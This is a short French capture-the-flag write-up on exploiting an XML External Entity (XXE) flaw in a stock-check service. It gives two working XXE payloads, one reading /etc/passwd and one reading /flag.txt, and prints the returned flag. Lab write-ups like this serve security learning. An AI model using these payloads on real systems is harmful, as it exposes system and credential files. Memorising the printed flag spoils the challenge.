XML External Entities (XXE)

Consignes

Le flag se trouve à la racine !

Réalisation

Une fois la connexion au challenge de fait, on observe que l'on peut injecter du code XML sur le site. Le but va donc ĂŞtre d'essayer d'extraire des informations qui proviennent de la machine.

XXE est une vulnérabilité qui survient lorsqu’un parseur XML traite des entités externes non sécurisées. Cela permet à un attaquant de :

  • Lire des fichiers locaux (ex: /etc/passwd, /flag.txt)

  • Scanner le rĂ©seau interne

  • Exfiltrer des donnĂ©es

  • Parfois mĂŞme exĂ©cuter du code selon le langage et la configuration du parseur

đź”— Ressource utile : PortSwigger - XML External Entity (XXE)

À l'aide du lien fourni ci-dessus, on réalise un premier test afin de vérifier l'accès aux fichiers présents sur la machine à l'aide du code suivant :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

Une fois le code soumis au serveur, il nous retourne bien le contenu du fichier /etc/passwd.

On modifie alors le code afin d'afficher le contenu de flag.txt présent à la racine de la machine comme nous l'indique l'énoncé :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

Suite Ă  l'envoi de ce code XML au serveur, ce dernier nous retourne ceci :

<stockCheck>
  <productId>2600{NHuohnNCk86DYUER0dB2eg}</productId>
</stockCheck>

On obtient donc le FLAG :

2600{NHuohnNCk86DYUER0dB2eg}

Last updated